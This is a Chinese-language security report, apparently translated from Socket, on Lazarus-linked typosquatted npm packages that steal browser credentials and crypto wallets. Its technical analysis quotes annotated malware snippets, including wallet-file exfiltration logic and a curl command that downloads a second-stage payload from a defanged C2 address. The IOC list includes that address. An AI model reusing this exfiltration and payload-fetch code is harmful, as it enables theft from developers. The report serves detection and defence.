朝鲜APT组织 Lazarus正在对加密货币发动网络战

朝鲜的 Lazarus 集团继续渗透 npm 生态系统,部署了六个新的恶意软件包,旨在破坏开发人员环境、窃取凭据、提取加密货币数据并部署后门。在这次活动中,Socket 研究人员发现 BeaverTail 恶意软件嵌入在看似无害的软件包中—— is-buffer-validator
和yoojae-validator
——每个都与之前在 Lazarus(传染性访谈)行动中记录的策略非常相似。这些发现与 Socket 威胁研究小组 2025 年 1 月关于 Lazarus APT 集团正在进行的供应链入侵的报告相一致。event-handle-package
array-empty-validator
react-event-dependency
auth-validator
这六个新软件包(总共被下载了 330 多次)与广受信任的库的名称非常相似,采用了与 Lazarus 相关的威胁行为者用来欺骗开发人员的众所周知的域名抢注策略。此外,APT 小组为五个恶意软件包创建并维护了 GitHub 存储库,使其具有开源合法性,并增加了有害代码被集成到开发人员工作流程中的可能性。
截至撰写本文时,这些软件包仍在 npm 注册表中。我们已请求删除它们,并报告了相关的 GitHub 存储库和用户帐户。
Lazarus:无法停止,恶意软件包也不会停止#
确定此次攻击是 Lazarus 所为还是一个老练的模仿者仍然具有挑战性,因为绝对归因本身就很困难。然而,在这次 npm 攻击中观察到的策略、技术和程序 (TTP) 与 Lazarus 已知的操作非常吻合,自 2022 年以来, Unit42、eSentire、DataDog、Phylum和其他机构的研究人员对此进行了广泛记录。
此次活动展示了 Lazarus 部署恶意软件方法的众多特点,包括:
- 使用与之前的 Lazarus 活动相同的混淆技术和工具
- 跨平台定位 Windows、macOS 和 Linux 系统
- 部署 BeaverTail 恶意软件以及第二阶段 InvisibleFerret 后门
- 脚本的功能、结构和恶意意图与过去的 Lazarus 操作非常相似
- 遵循相同模式的命令和控制 (C2) 机制,利用此活动特有的新获取的端点
- 数据窃取策略与 Lazarus 之前的供应链攻击一致
- 持久性机制与 Lazarus 先前的活动一致,进一步增强了其参与的可能性
以下是恶意软件包的详细分类,包括其关联的 npm 别名、电子邮件地址、下载次数以及链接的 GitHub 存储库和帐户。
is-buffer-validator
:此包以 npm 别名“edan0831”(电子邮件:edanjohn1991@gmail.com)发布,已被下载 52 次。其源代码托管在 GitHub 上的github.com/edan0831/is-buffer-validator上,托管在 edan0831 GitHub 帐户下。yoojae-validator
:该软件包以 npm 别名“hottblaze”(电子邮件:hottblaze012@gmail.com)发布,下载次数为 55 次。对应的 GitHub 存储库为github.com/alximmykola379/yoojae-validator,与 alximmykola379 GitHub 帐户相关联。event-handle-package
:此包以 npm 别名“ricardoalexis07”(电子邮件:ricardoalexis0629@gmail.com)发布,已被下载 54 次。与其他包不同,它没有公开链接的 GitHub 存储库。array-empty-validator
:发布于 npm 别名“alextucker0519”(电子邮件:alextucker@softworldnet.com),该软件包有 59 次下载。对应的 GitHub 存储库为github.com/alextucker0519/array-empty-validator,位于 alextucker0519 GitHub 帐户下。react-event-dependency
:该软件包以 npm 别名“elondavid”(电子邮件:elondavid888@gmail.com)发布,下载次数为 57 次。其 GitHub 存储库位于github.com/elondavid888/react-event-dependency,链接到 elondavid888 帐户。auth-validator
:此软件包以 npm 别名“kevin_tr”(电子邮件:robustplutus@gmail.com)发布,下载次数为 54 次。虽然其原始 GitHub 存储库(github.com/kevin-tra/auth-validator)已被删除,但历史记录将其与 kevin-tra GitHub 帐户联系起来。
Socket AI Scanner 将这六个软件包全部识别为恶意软件。
在这些软件包中,Lazarus 使用的名称与合法且广受信任的库非常相似,这是域名抢注策略的标志。例如,与 Socket 首席执行官 Feross Aboukhadijeh 编写的is-buffer-validator
广泛使用的模块非常相似is-buffer
。值得注意的是,Socket 威胁研究团队之前曾在其 2025 年 1 月的报告中记录了 Lazarus 的恶意 npm 活动。这种相似性可能表明威胁行为者知道 Socket 的研究,或者试图通过域名抢注利用合法库的既定信任和广泛采用。太巧了。
该合法
is-buffer
软件包由 Feross Aboukhadijeh 编写,已维护十多年,每周下载量达 3300 万次,总下载量超过 1.34 亿次,凸显了其被广泛采用的现象。
技术分析
恶意 npm 软件包中嵌入的代码展示了在早期与 Lazarus 相关的活动中观察到的混淆技术。它采用自调用函数、动态函数构造函数和数组移位来掩盖其真实功能。尽管有这些隐藏层,但该恶意软件的目标与之前记录的 Lazarus 操作一致,后者一直利用多阶段有效载荷传递和持久性机制来维持对受感染系统的长期访问。
该代码旨在收集系统环境详细信息,包括主机名、操作系统和系统目录。它系统地遍历浏览器配置文件,以查找和提取敏感文件(例如Login Data
来自 Chrome、Brave 和 Firefox 的文件)以及 macOS 上的钥匙串档案。值得注意的是,该恶意软件还针对加密货币钱包,特别是id.json
从 Solana 和exodus.wallet
Exodus 中提取。然后,被盗数据被泄露到 的硬编码 C2 服务器hxxp://172.86.84[.]38:1224/uploads
,遵循 Lazarus 收集和传输受感染信息的有据可查的策略。
下面的代码片段演示了提取和泄露敏感数据的恶意过程,其中的内联注释解释了关键功能和目标:
// Enumerate user profiles and extract browser data
async function uploadFiles(basePath, prefix, includeSolana, timestamp) {
// basePath: Root directory (e.g., Chrome/Brave user data)
// prefix: Identifier for exfiltrated files
// includeSolana: Flag to collect Solana wallet keys
// timestamp: Tracks exfiltration timing
if (!testPath(basePath)) return; // Skip if directory is inaccessible
// Scan up to 200 browser profiles
for (let i = 0; i < 200; i++) {
const profileDir = `${basePath}/${i === 0 ? 'Default' : 'Profile ' + i}/Local Extension Settings`;
// Look for known extension data (e.g., MetaMask, Exodus)
// Capture .log and .ldb files
}
if (includeSolana) {
// Locate Solana's id.json private key file
const solanaPath = `${homeDir}/.config/solana/id.json`;
if (fs.existsSync(solanaPath)) {
// Extract and exfiltrate Solana wallet data
}
}
// Upload stolen data to the C2 server
}
除了上面详述的静默枚举和数据泄露之外,该脚本还使用curl
命令和 Node.jsrequest
模块下载其他恶意组件(具体标识为 InvisibleFerret 后门)。二级有效载荷(SHA256:)以文件名或6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0
下载并使用提取,遵循与之前分发 BeaverTail 恶意软件的 Lazarus 活动一致的多阶段部署策略。以下代码片段说明了此过程的一个阶段:p.zi``p2.zip``tar -xf
// Fetch additional malware if p.zi is missing or incomplete
function runP() {
const pFile = `${tmpDir}\\p.zi`;
const p2File = `${tmpDir}\\p2.zip`;
if (fs.existsSync(pFile)) {
// Check file size; rename to .zip for extraction or retry download
} else {
// Download payload from C2 using curl
ex(`curl -Lo "${pFile}" "hxxp://172.86.84[.]38:1224/pdown"`, (error) => {
if (!error) {
// Set file size, rename to p2.zip, and extract
}
});
}
}
在这些阶段中,Lazarus 始终将持久性和隐蔽性放在首位。该脚本的目标不仅限于凭证窃取,还试图将自身嵌入开发工作流程中,并确保持续入侵,即使检测到并删除了一个阶段。通过为恶意软件包创建或重新利用 GitHub 存储库,威胁行为者进一步掩盖了其活动,使该操作看起来像是合法开源开发的一部分。
展望与建议
我们估计 Lazarus 和其他高级攻击者将继续改进其渗透策略。混淆技术可能会不断发展,采用更复杂的代码隐藏方法,并更深入地集成到合法的开发工作流程中。威胁行为者还可能将目标扩大到其他软件包和生态系统,以扩大其在开发人员中的覆盖范围,从而使早期检测和上下文依赖性扫描比以往任何时候都更加重要。
为了减轻这些威胁,组织应实施多层次的检测和防御方法。自动依赖项审计和代码审查可以帮助识别第三方软件包中的异常,特别是下载次数少或来源未经验证的软件包。持续监控异常的依赖项变化可以发现恶意更新,而阻止与已知 C2 端点的出站连接可以防止数据泄露。在受控环境中对不受信任的代码进行沙盒处理并部署端点保护可以检测可疑的文件系统或网络活动。此外,对开发团队进行常见的域名抢注策略教育可以提高警惕,并在安装新软件包之前加强适当的审查。
尽管使用了广泛的混淆技术(包括变量重命名、字符串编码和控制流扁平化),Socket 的静态和行为分析仍有效地将所有六个软件包识别为恶意软件。Socket GitHub 应用程序可以实时扫描拉取请求,在集成之前提醒开发人员注意可疑或恶意依赖项。此外,将Socket CLI合并到 npm 安装工作流中有助于在异常进入生产之前检测到它们,而Socket 浏览器扩展会在下载或查看时主动警告用户潜在威胁。通过将这些安全措施嵌入到现有的开发工作流中,组织可以显著降低供应链攻击的风险。
Socket AI Scanner 的分析,包括有关恶意
is-buffer-validator
软件包的上下文详细信息。
Indicators of Compromise (IOCs)#
Malicious npm Packages
is-buffer-validator
yoojae-validator
event-handle-package
array-empty-validator
react-event-dependency
auth-validator
Threat Actor Identifiers
- npm Aliases and Email Addresses:
edan0831
— edanjohn1991@gmail.comhottblaze
— hottblaze012@gmail.comricardoalexis07
— ricardoalexis0629@gmail.comalextucker0519
— alextucker@softworldnet.comelondavid
— elondavid888@gmail.comkevin_tr
— robustplutus@gmail.com
- GitHub Accounts:
edan0831
alximmykola379
alextucker0519
elondavid888
kevin-tra
Malicious GitHub Repositories
- github.com/edan0831/is-buffer-validator
- github.com/alximmykola379/yoojae-validator
- github.com/alextucker0519/array-empty-validator
- github.com/elondavid888/react-event-dependency
- github.com/kevin-tra/auth-validator (defunct)
Command and Control (C2) Endpoints
- Primary C2 Server:
172.86.84[.]38
- Associated Endpoints:
hxxp://172.86.84[.]38:1224/uploads
hxxp://172.86.84[.]38:1224/pdown
hxxp://172.86.84[.]38:1224/client/9/902
SHA256 Hash
6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0
MITRE ATT&CK Techniques#
- T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
- T1608.001 — Stage Capabilities: Upload Malware
- T1204.002 — User Execution: Malicious File
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1027.013 — Obfuscated Files or Information: Encrypted/Encoded File
- T1546.016 — Event Triggered Execution: Installer Packages
- T1005 — Data from Local System
- T1082 — System Information Discovery
- T1083 — File and Directory Discovery
- T1217 — Browser Information Discovery
- T1555.003 — Credentials from Password Stores: Credentials from Web Browsers
- T1555.001 — Credentials from Password Stores: Keychain
- T1041 — Exfiltration Over C2 Channel
- T1105 — Ingress Tool Transfer
- T1119 — Automated Collection
- T1657 — Financial Theft